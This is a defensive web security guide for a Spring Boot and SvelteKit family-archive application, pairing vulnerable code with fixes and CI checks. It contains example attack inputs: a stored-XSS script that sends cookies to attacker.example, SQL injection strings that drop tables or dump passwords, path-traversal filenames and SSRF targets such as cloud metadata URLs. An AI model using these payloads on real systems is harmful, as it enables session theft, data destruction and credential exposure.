# Web Security Guide — Familienarchiv Stack

> *"Every input is a lie until proven trustworthy. Every endpoint is a vulnerability waiting for the right question."*
> — Nora "NullX" Steiner, Application Security Engineer

**Stack covered:** Spring Boot 4 · Java 21 · SvelteKit 2 / Svelte 5 · TypeScript · PostgreSQL 16 · MinIO · Spring Security · Spring Session JDBC

---

## Table of Contents

1. [Mass Assignment / Over-Posting (Spring Boot)](#1-mass-assignment--over-posting-spring-boot)
2. [Spring Boot Actuator Exposure](#2-spring-boot-actuator-exposure)
3. [SQL Injection via JPQL / Native Queries](#3-sql-injection-via-jpql--native-queries)
4. [XSS in SvelteKit](#4-xss-in-sveltekit)
5. [CORS Misconfiguration](#5-cors-misconfiguration)
6. [File Upload Attacks (MinIO / S3)](#6-file-upload-attacks-minio--s3)
7. [JWT / Session Attacks](#7-jwt--session-attacks)
8. [SSRF via User-Controlled URLs](#8-ssrf-via-user-controlled-urls)
9. [Insecure Direct Object Reference in File Downloads](#9-insecure-direct-object-reference-in-file-downloads)
10. [Prototype Pollution (TypeScript / Node.js layer)](#10-prototype-pollution-typescript--nodejs-layer)
11. [Secrets in Config / Environment](#11-secrets-in-config--environment)

---

## 1. Mass Assignment / Over-Posting (Spring Boot)

### The vulnerable pattern

When a controller binds a request body directly to the JPA entity, a client can set **any field** that exists on the model — including ones they should never touch.

```java
// BAD: DocumentController.java
@PutMapping("/api/documents/{id}")
public Document updateDocument(@PathVariable UUID id, @RequestBody Document document) {
    document.setId(id);
    return documentRepository.save(document); // ← saves WHATEVER the client sent
}
```

**Attack:** The client sends `{"status":"ARCHIVED","id":"<another-user-doc-uuid>"}` in the body and silently promotes a document or takes over a foreign record.

### The fix in context

Use a **DTO** for input and copy only the fields you explicitly allow. Your project already has `DocumentUpdateDTO` — use it everywhere.

```java
// GOOD: DocumentController.java
@PutMapping("/api/documents/{id}")
@RequirePermission(Permission.WRITE_ALL)
public Document updateDocument(@PathVariable UUID id, @RequestBody DocumentUpdateDTO dto) {
    return documentService.updateDocument(id, dto); // service decides what changes
}

// GOOD: DocumentService.java
@Transactional
public Document updateDocument(UUID id, DocumentUpdateDTO dto) {
    Document doc = documentRepository.findById(id)
        .orElseThrow(() -> DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "Document not found: " + id));

    // Explicitly copy only fields the DTO is allowed to change
    if (dto.getTitle() != null) doc.setTitle(dto.getTitle());
    if (dto.getDocumentDate() != null) doc.setDocumentDate(dto.getDocumentDate());
    if (dto.getStatus() != null) {
        validateStatusTransition(doc.getStatus(), dto.getStatus()); // guard the lifecycle
        doc.setStatus(dto.getStatus());
    }
    // id, createdAt, owner — never touched
    return documentRepository.save(doc);
}
```

**Why:** JPA entities are your persistence model, not your API contract. Treat them as internal objects. DTOs are the surface you expose.

**Catch it in CI:**
```yaml
# Semgrep rule — flag direct @RequestBody Entity in controllers
rules:
  - id: mass-assignment-entity-request-body
    patterns:
      - pattern: |
          @RequestBody $ENTITY $PARAM
      - pattern-not: |
          @RequestBody $DTO $PARAM
    message: "Binding request body directly to JPA entity risks mass assignment. Use a DTO."
    languages: [java]
    severity: WARNING
```

---

## 2. Spring Boot Actuator Exposure

### The vulnerable pattern

Spring Boot Actuator ships many endpoints (`/actuator/heapdump`, `/actuator/env`, `/actuator/beans`) that expose sensitive runtime data. The default in Boot 4 exposes `health` and `info` — but misconfigured apps expose everything.

```yaml
# BAD: application.yml
management:
  endpoints:
    web:
      exposure:
        include: "*"   # ← exposes heapdump, env, beans, loggers, mappings, sessions, ...
```

**Attack:** `GET /actuator/heapdump` returns a full JVM heap dump. Parse it offline with `jhat` or Eclipse MAT to extract:
- PostgreSQL passwords from `spring.datasource.password`
- MinIO secret keys
- Active Spring Session tokens (from JDBC session store)
- Full in-memory document objects

This is not theoretical — it's one of the most common critical findings in Spring Boot apps.

### The fix in context

```yaml
# GOOD: application.yml (production profile)
management:
  endpoints:
    web:
      exposure:
        include: "health,info"   # only what you need for load balancer probes
  endpoint:
    health:
      show-details: never        # don't expose DB/MinIO health details publicly
```

```yaml
# GOOD: application-dev.yml (dev profile only — used locally and in CI)
management:
  endpoints:
    web:
      exposure:
        include: "*"             # full access in dev is fine
```

Also secure the actuator path with Spring Security so even `health` isn't public if you don't need it:

```java
// GOOD: SecurityConfig.java
http.authorizeHttpRequests(auth -> auth
    .requestMatchers("/actuator/health").permitAll()
    .requestMatchers("/actuator/**").hasAuthority(Permission.ADMIN.name())
    .requestMatchers("/api/**").authenticated()
    .anyRequest().denyAll()
);
```

**Why:** A heap dump is a complete snapshot of your application's memory at the moment of capture. Every string, every object, every credential your app has ever loaded is potentially in there.

**Catch it in CI:**
```bash
# Integration test: assert /actuator/heapdump returns 403/404 when not authenticated
curl -o /dev/null -s -w "%{http_code}" http://localhost:8080/actuator/heapdump | grep -qv 200
```

---

## 3. SQL Injection via JPQL / Native Queries

### The vulnerable pattern

Hibernate/JPA protects you when you use `@Query` with named parameters — but not when you concatenate strings.

```java
// BAD: DocumentRepository.java
@Query(value = "SELECT * FROM documents WHERE title LIKE '%" + title + "%'", nativeQuery = true)
List<Document> searchByTitle(String title);

// Also BAD: building JPQL dynamically via string concat
String jpql = "FROM Document d WHERE d.title LIKE '%" + query + "%'";
entityManager.createQuery(jpql).getResultList();
```

**Attack:** Input `%'; DROP TABLE documents; --` or `%' UNION SELECT username, password, null, null FROM app_users--` to read the user table.

### The fix in context

```java
// GOOD: Use named parameters — Hibernate escapes them correctly
@Query("SELECT d FROM Document d WHERE LOWER(d.title) LIKE LOWER(CONCAT('%', :query, '%'))")
List<Document> searchByTitle(@Param("query") String query);

// GOOD: For dynamic filtering, use JPA Criteria API or Specifications
public List<Document> searchDocuments(String query, LocalDate from, LocalDate to) {
    return documentRepository.findAll((root, cq, cb) -> {
        List<Predicate> predicates = new ArrayList<>();
        if (query != null) {
            predicates.add(cb.like(cb.lower(root.get("title")),
                "%" + query.toLowerCase().replace("%", "\\%") + "%"));
        }
        if (from != null) predicates.add(cb.greaterThanOrEqualTo(root.get("documentDate"), from));
        if (to != null)   predicates.add(cb.lessThanOrEqualTo(root.get("documentDate"), to));
        return cb.and(predicates.toArray(new Predicate[0]));
    });
}
```

Note the manual `%` escaping in the Criteria API example — the API itself doesn't escape LIKE wildcards.

**Why:** Named parameters go through JDBC PreparedStatement binding. The driver sends query structure and data separately — the database never interprets user input as SQL.

**Catch it in CI:**
```java
// Unit test with injection payload
@Test
void searchIsSafeAgainstSqlInjection() {
    String malicious = "'; DROP TABLE documents; --";
    assertDoesNotThrow(() -> documentService.searchDocuments(malicious, null, null));
    assertTrue(documentRepository.count() > 0); // table still exists
}
```

---

## 4. XSS in SvelteKit

### The vulnerable pattern

Svelte auto-escapes `{variable}` expressions — that's your default protection. The vulnerability appears when you bypass it.

```svelte
<!-- BAD: +page.svelte — rendering raw HTML from the database -->
<div class="description">
    {@html document.description}
</div>

<!-- Also BAD: using innerHTML via DOM manipulation -->
<script>
    onMount(() => {
        container.innerHTML = document.rawContent; // ← bypasses Svelte's escaping
    });
</script>
```

**Attack:** A user stores `<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>` in the `description` field. Every user who views the document executes the script — stealing session cookies, CSRF tokens, or performing actions on behalf of the victim (stored XSS).

### The fix in context

```svelte
<!-- GOOD: default Svelte expression — auto-escaped, always safe -->
<div class="description">
    {document.description}
</div>

<!-- GOOD: if you genuinely need HTML rendering (e.g. rich text from a trusted editor),
     sanitize server-side before storing, and again before rendering -->
<script lang="ts">
    import DOMPurify from 'dompurify'; // npm install dompurify @types/dompurify

    // Sanitize before rendering — never trust stored HTML directly
    $: safeHtml = DOMPurify.sanitize(document.richContent ?? '', {
        ALLOWED_TAGS: ['p', 'b', 'i', 'ul', 'li', 'br'],
        ALLOWED_ATTR: []
    });
</script>

<div class="description">
    {@html safeHtml}
</div>
```

**Prefer storing plain text.** Only use `{@html}` when you have a real product requirement for rich formatting — and always with sanitization.

**Why:** `{@html}` disables Svelte's template-level escaping. It's a deliberate escape hatch, not a normal rendering path. Spring Security's `Content-Security-Policy` header is your second line of defense:

```java
// GOOD: SecurityConfig.java — add CSP header
http.headers(headers -> headers
    .contentSecurityPolicy(csp -> csp
        .policyDirectives("default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'")
    )
);
```

**Catch it in CI:**
```bash
# Semgrep: flag all uses of {@html} in .svelte files for manual review
grep -r '{@html' frontend/src/ --include="*.svelte"
```

---

## 5. CORS Misconfiguration

### The vulnerable pattern

```java
// BAD: SecurityConfig.java — wildcard CORS with credentials
@Bean
public CorsConfigurationSource corsConfigurationSource() {
    CorsConfiguration config = new CorsConfiguration();
    config.setAllowedOrigins(List.of("*"));    // ← wildcard
    config.setAllowCredentials(true);           // ← with credentials = critical flaw
    config.setAllowedMethods(List.of("*"));
    // ...
}
```

Browsers block `credentials: true` with `*` origins — but some frameworks silently reflect the request `Origin` header instead:

```java
// BAD: reflects whatever origin the request sends
config.setAllowedOriginPatterns(List.of("*")); // Spring's allowedOriginPatterns("*") does allow credentials
```

**Attack:** Attacker hosts a page at `https://evil.example`. Victim visits it while logged into Familienarchiv. The evil page calls `fetch('https://familienarchiv.example/api/documents', {credentials:'include'})` and reads the family's documents.

### The fix in context

```java
// GOOD: explicit allowlist of origins
@Bean
public CorsConfigurationSource corsConfigurationSource() {
    CorsConfiguration config = new CorsConfiguration();

    // Explicit origins only — no wildcards when credentials are involved
    List<String> allowedOrigins = List.of(
        "http://localhost:3000",   // dev frontend
        "https://familienarchiv.example"  // prod
    );
    config.setAllowedOrigins(allowedOrigins);
    config.setAllowCredentials(true);
    config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    config.setAllowedHeaders(List.of("Authorization", "Content-Type"));
    config.setMaxAge(3600L);

    UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
    source.registerCorsConfiguration("/api/**", config);
    return source;
}
```

**Why:** `credentials: include` sends the session cookie cross-origin. If CORS allows it from any origin, the attacker's site can perform authenticated API calls in the victim's session. This is essentially CSRF with full response reading.

**Catch it in CI:**
```bash
# Assert that a random origin is not reflected back
curl -H "Origin: https://evil.example" -v http://localhost:8080/api/documents 2>&1 \
  | grep "Access-Control-Allow-Origin" | grep -qv "evil.example"
```

---

## 6. File Upload Attacks (MinIO / S3)

### The vulnerable pattern

```java
// BAD: FileService.java — trusting the client-supplied content type and filename
public String uploadFile(MultipartFile file, UUID documentId) {
    String filename = file.getOriginalFilename(); // ← attacker controls this
    String contentType = file.getContentType();   // ← attacker controls this (HTTP header)

    minioClient.putObject(PutObjectArgs.builder()
        .bucket("archive-documents")
        .object(filename)               // path traversal: "../../etc/passwd"
        .contentType(contentType)       // stored XSS via "text/html"
        .stream(file.getInputStream(), file.getSize(), -1)
        .build());
    return filename;
}
```

**Attacks:**
- **Path traversal:** filename `../../config/application.yml` writes outside the intended directory
- **Stored XSS via upload:** upload an HTML file with content type `text/html`, get a link, share it — browser executes the JS
- **Large file DoS:** no size limit → 10 GB upload exhausts disk/memory

### The fix in context

```java
// GOOD: FileService.java
private static final Set<String> ALLOWED_CONTENT_TYPES = Set.of(
    "application/pdf", "image/jpeg", "image/png", "image/tiff",
    "application/vnd.openxmlformats-officedocument.wordprocessingml.document"
);
private static final long MAX_FILE_SIZE = 50 * 1024 * 1024; // 50 MB

public String uploadFile(MultipartFile file, UUID documentId) throws IOException {
    // 1. Reject disallowed types — detect from magic bytes, not just the header
    String detectedType = detectMimeType(file.getInputStream()); // use Apache Tika
    if (!ALLOWED_CONTENT_TYPES.contains(detectedType)) {
        throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
            "File type not allowed: " + detectedType);
    }

    // 2. Enforce size limit
    if (file.getSize() > MAX_FILE_SIZE) {
        throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "File exceeds 50 MB limit");
    }

    // 3. Generate a server-controlled object key — never use the original filename
    String extension = getExtensionForMimeType(detectedType); // ".pdf", ".jpg", etc.
    String objectKey = documentId.toString() + "/" + UUID.randomUUID() + extension;

    minioClient.putObject(PutObjectArgs.builder()
        .bucket("archive-documents")
        .object(objectKey)              // server-controlled path
        .contentType(detectedType)      // server-detected, not client-supplied
        .stream(file.getInputStream(), file.getSize(), -1)
        .build());

    return objectKey;
}

private String detectMimeType(InputStream stream) throws IOException {
    Tika tika = new Tika();
    return tika.detect(stream);
}
```

**Also:** Set `Content-Disposition: attachment` on file download responses to prevent inline rendering in the browser:

```java
// GOOD: DocumentController.java — serve files as download, not inline
ResponseEntity.ok()
    .header("Content-Disposition", "attachment; filename=\"document.pdf\"")
    .header("Content-Type", "application/pdf")
    .body(fileBytes);
```

**Why:** Browsers will render any response with `Content-Type: text/html` as a page, executing scripts. Serving files with `Content-Disposition: attachment` forces download. Detecting MIME via magic bytes (Apache Tika) catches files that lie about their type.

**Catch it in CI:**
```java
@Test
void rejectsHtmlFileUpload() throws Exception {
    MockMultipartFile htmlFile = new MockMultipartFile(
        "file", "evil.html", "text/html", "<script>alert(1)</script>".getBytes());
    mockMvc.perform(multipart("/api/documents/{id}/file", docId).file(htmlFile))
        .andExpect(status().isBadRequest());
}
```

---

## 7. JWT / Session Attacks

You use **Spring Session JDBC** — that means sessions are stored in the database, not in JWTs. This is actually the safer default. But there are still pitfalls.

### The vulnerable pattern

```java
// BAD: accepting "alg: none" in a JWT — relevant if you add any JWT-based endpoints
Jwts.parserBuilder()
    .build()                          // ← no signing key configured
    .parseClaimsJws(token);           // accepts unsigned tokens
```

```java
// BAD: not invalidating the session on logout
@PostMapping("/logout")
public void logout(HttpSession session) {
    // session.invalidate() never called — old session ID still works
    SecurityContextHolder.clearContext();
}
```

### The fix in context

```java
// GOOD: Spring Security logout invalidates the session automatically
http.logout(logout -> logout
    .logoutUrl("/logout")
    .invalidateHttpSession(true)      // deletes from spring_session table
    .deleteCookies("SESSION")         // clears the client cookie
    .logoutSuccessUrl("/login")
);
```

```java
// GOOD: if you add JWT later, always specify the algorithm explicitly
String secret = environment.getRequiredProperty("app.jwt.secret");
SecretKey key = Keys.hmacShaKeyFor(Decoders.BASE64.decode(secret));

Jwts.parserBuilder()
    .setSigningKey(key)
    .requireAudience("familienarchiv-api")
    .build()
    .parseClaimsJws(token); // rejects alg:none and wrong-key tokens
```

**Session fixation protection** — Spring Security enables this by default, but verify it's not disabled:

```java
// GOOD: session fixation protection (this is the Spring Security default — don't override it)
http.sessionManagement(session -> session
    .sessionFixation().migrateSession() // new session ID after login
    .maximumSessions(5)                 // limit concurrent sessions per user
);
```

**Why:** An `alg:none` JWT attack lets an attacker craft tokens with arbitrary claims (e.g., `{"role":"ADMIN"}`) and have the server accept them without a valid signature. Session fixation lets an attacker pre-set a session ID, trick a victim into authenticating with it, then use that known ID to act as the victim.

**Catch it in CI:**
```java
@Test
void sessionIsInvalidatedOnLogout() throws Exception {
    // Login, capture session cookie
    MvcResult login = mockMvc.perform(post("/login").param("username","user").param("password","pass"))
        .andExpect(status().is3xxRedirection()).andReturn();
    String sessionCookie = login.getResponse().getHeader("Set-Cookie");

    // Logout
    mockMvc.perform(post("/logout").header("Cookie", sessionCookie)).andExpect(status().is3xxRedirection());

    // Assert old session is rejected
    mockMvc.perform(get("/api/documents").header("Cookie", sessionCookie))
        .andExpect(status().isUnauthorized());
}
```

---

## 8. SSRF via User-Controlled URLs

### The vulnerable pattern

If any feature lets a user supply a URL that the server fetches (e.g., importing a document from a URL, fetching a remote avatar, webhook callbacks), you have an SSRF surface.

```java
// BAD: DocumentService.java — fetching user-supplied URL
public byte[] fetchDocumentFromUrl(String url) throws IOException {
    return new URL(url).openStream().readAllBytes(); // ← no validation
}
```

**Attack:** Supply `http://169.254.169.254/latest/meta-data/` (AWS metadata), `http://minio:9000/` (internal MinIO admin), or `http://localhost:8080/actuator/env` (your own actuator) to probe or exfiltrate internal services.

### The fix in context

```java
// GOOD: validate against an allowlist before fetching
private static final List<String> ALLOWED_HOSTS = List.of("trusted-source.example.com");

public byte[] fetchDocumentFromUrl(String rawUrl) throws IOException {
    URI uri;
    try {
        uri = new URI(rawUrl);
    } catch (URISyntaxException e) {
        throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Invalid URL");
    }

    // Allowlist check
    if (!ALLOWED_HOSTS.contains(uri.getHost())) {
        throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
            "URL host not permitted: " + uri.getHost());
    }

    // Enforce HTTPS only
    if (!"https".equalsIgnoreCase(uri.getScheme())) {
        throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Only HTTPS URLs are allowed");
    }

    // Resolve to IP and block private ranges
    InetAddress addr = InetAddress.getByName(uri.getHost());
    if (addr.isLoopbackAddress() || addr.isSiteLocalAddress() || addr.isLinkLocalAddress()) {
        throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Private IP range not allowed");
    }

    HttpClient client = HttpClient.newBuilder()
        .followRedirects(HttpClient.Redirect.NEVER) // prevent redirect-based bypass
        .connectTimeout(Duration.ofSeconds(5))
        .build();

    HttpResponse<byte[]> response = client.send(
        HttpRequest.newBuilder(uri).GET().build(),
        HttpResponse.BodyHandlers.ofByteArray()
    );
    return response.body();
}
```

**Why:** Internal cloud metadata endpoints and Docker network services don't require authentication — they're only protected by network topology. SSRF breaks that assumption by making your server the attacker's proxy.

**Catch it in CI:** Test that `http://127.0.0.1/`, `http://169.254.169.254/`, and `http://minio:9000/` are rejected with an error status.

---

## 9. Insecure Direct Object Reference in File Downloads

### The vulnerable pattern

```java
// BAD: FileService.java — serving any object key the client requests
@GetMapping("/api/files/{objectKey}")
public ResponseEntity<byte[]> downloadFile(@PathVariable String objectKey) {
    byte[] data = fileService.download(objectKey); // ← no ownership check
    return ResponseEntity.ok(data);
}
```

**Attack:** A user who knows (or guesses) another document's `objectKey` can download its file. Object keys in your current pattern are `{documentId}/{uuid}.pdf` — someone with `READ_ALL` can enumerate by trying known document IDs.

### The fix in context

```java
// GOOD: tie file access to document access — go through the document, not directly to storage
@GetMapping("/api/documents/{id}/file")
@RequirePermission(Permission.READ_ALL)
public ResponseEntity<byte[]> downloadFile(@PathVariable UUID id, Principal principal) {
    // This call checks ownership — if the user can't see the document, they get 404
    Document doc = documentService.getDocument(id, userService.getCurrentUser(principal));

    if (doc.getStoragePath() == null) {
        throw DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "No file for document " + id);
    }

    byte[] data = fileService.download(doc.getStoragePath()); // server resolves the path
    String filename = doc.getTitle().replaceAll("[^a-zA-Z0-9._-]", "_") + ".pdf";

    return ResponseEntity.ok()
        .header("Content-Disposition", "attachment; filename=\"" + filename + "\"")
        .header("Content-Type", doc.getMimeType())
        .body(data);
}
```

**Why:** The storage path is an internal detail. Clients should never supply it directly — they supply a document ID, and the server resolves the path. This also means renaming or moving files in storage is transparent to the client.

---

## 10. Prototype Pollution (TypeScript / Node.js layer)

### The vulnerable pattern

Prototype pollution affects your SvelteKit server-side rendering layer (Node.js runtime).

```typescript
// BAD: merging user input into an object with a recursive merge utility
function mergeDeep(target: any, source: any) {
    for (const key of Object.keys(source)) {
        if (source[key] instanceof Object) {
            mergeDeep(target[key] ??= {}, source[key]);
        } else {
            target[key] = source[key]; // ← key could be "__proto__"
        }
    }
}

// Attacker sends: {"__proto__": {"isAdmin": true}}
mergeDeep(userSettings, JSON.parse(req.body));
// Now: ({}).isAdmin === true — for EVERY object in this process
```

### The fix in context

```typescript
// GOOD: use structuredClone or JSON.parse(JSON.stringify(...)) for safe deep copy
// structuredClone is available in Node 17+ and is prototype-safe
const safeCopy = structuredClone(userInput);

// GOOD: if you must merge, use Object.create(null) as base (no prototype)
const settings = Object.create(null) as Record<string, unknown>;
Object.assign(settings, sanitizedInput);

// GOOD: validate with Zod — invalid keys are stripped at the schema boundary
import { z } from 'zod';
const UserSettingsSchema = z.object({
    theme: z.enum(['light', 'dark']),
    language: z.enum(['de', 'en', 'es']),
});
const parsed = UserSettingsSchema.parse(rawInput); // unknown keys dropped
```

**Why:** `__proto__` is a special property on all JavaScript objects. Writing to it affects `Object.prototype` — the root of every plain object in the Node.js process. If your authorization logic does `if (user.isAdmin)` and prototype pollution sets `Object.prototype.isAdmin = true`, every user becomes admin for the lifetime of the process.

**Catch it in CI:**
```bash
# npm audit catches known-vulnerable deep-merge libraries (e.g. lodash < 4.17.21)
npm audit --audit-level=high
```

---

## 11. Secrets in Config / Environment

### The vulnerable pattern

```yaml
# BAD: application.yml — secrets in version control
spring:
  datasource:
    url: jdbc:postgresql://localhost:5432/familienarchiv
    username: app
    password: SuperSecret123!    # ← checked into git

minio:
  access-key: minioadmin
  secret-key: minioadmin123
```

```bash
# BAD: .env with real credentials committed
MINIO_SECRET_KEY=production-secret-key-here
```

### The fix in context

```yaml
# GOOD: application.yml — reference environment variables, never inline secrets
spring:
  datasource:
    url: ${DB_URL:jdbc:postgresql://localhost:5432/familienarchiv}
    username: ${DB_USERNAME:app}
    password: ${DB_PASSWORD}       # no default — fails fast if not set

minio:
  access-key: ${MINIO_ACCESS_KEY}
  secret-key: ${MINIO_SECRET_KEY}
```

```yaml
# GOOD: docker-compose.yml — inject from host environment or .env file
services:
  backend:
    environment:
      - DB_PASSWORD=${DB_PASSWORD}
      - MINIO_SECRET_KEY=${MINIO_SECRET_KEY}
```

```bash
# .env.example (committed — template only, no real values)
DB_PASSWORD=change-me
MINIO_SECRET_KEY=change-me

# .env (NOT committed — add to .gitignore)
DB_PASSWORD=actual-production-secret
```

**Verify your .gitignore:**
```gitignore
.env
.env.local
*.env
application-prod.yml
application-production.yml
```

**Why:** Git history is permanent. Even if you delete a secret in a later commit, it's still in `git log` and will be found by automated scanners (Trufflehog, GitLeaks, GitHub secret scanning). Rotation is the only fix after a leak — and rotation is expensive and error-prone.

**Catch it in CI:**
```bash
# Run trufflehog or gitleaks on every PR
docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail
```

---

## Summary Matrix

| # | Vulnerability | Severity | Your Stack's Risk | Fixed By |
|---|---|---|---|---|
| 1 | Mass Assignment | HIGH | `@RequestBody Entity` in any controller | DTOs everywhere |
| 2 | Actuator Exposure | CRITICAL | `include: "*"` in prod | Allowlist + require ADMIN |
| 3 | SQL Injection | HIGH | Native query string concat | Named parameters / Criteria API |
| 4 | XSS | HIGH | `{@html}` with stored content | DOMPurify + CSP header |
| 5 | CORS Misconfiguration | HIGH | `allowedOriginPatterns("*")` with credentials | Explicit origin allowlist |
| 6 | File Upload | MEDIUM–HIGH | No type detection, no size limit | Tika magic bytes + size cap |
| 7 | Session/JWT Attacks | HIGH | Session not invalidated on logout | Spring Security logout config |
| 8 | SSRF | MEDIUM | Any user-supplied URL fetch | Host allowlist + private IP block |
| 9 | File Download IDOR | MEDIUM | Direct object key in URL | Route file access through document access |
| 10 | Prototype Pollution | MEDIUM | Recursive merge of user input | Zod schema validation |
| 11 | Secrets in Config | CRITICAL | Inline secrets in YAML | Env var references |

---

## Recommended CI Pipeline Additions

```yaml
# .github/workflows/security.yml (or equivalent in your Gitea CI)
security:
  steps:
    - name: Dependency audit (npm)
      run: cd frontend && npm audit --audit-level=high

    - name: Dependency audit (Maven)
      run: cd backend && ./mvnw org.owasp:dependency-check-maven:check

    - name: Secret scanning
      run: docker run --rm -v "$PWD:/repo" trufflesecurity/trufflehog:latest git file:///repo --fail

    - name: SAST (Semgrep)
      run: semgrep --config=p/java --config=p/typescript --config=p/owasp-top-ten src/

    - name: Actuator check (integration)
      run: |
        curl -sf http://localhost:8080/actuator/heapdump && exit 1 || true
        curl -sf http://localhost:8080/actuator/env && exit 1 || true
```

---

*Document version: 2026-03-27 · Reviewed against OWASP WSTG v4.2 and OWASP Top 10 2021*
*Stack versions: Spring Boot 4.0 · SvelteKit 2 / Svelte 5 · PostgreSQL 16 · MinIO RELEASE.2024+*
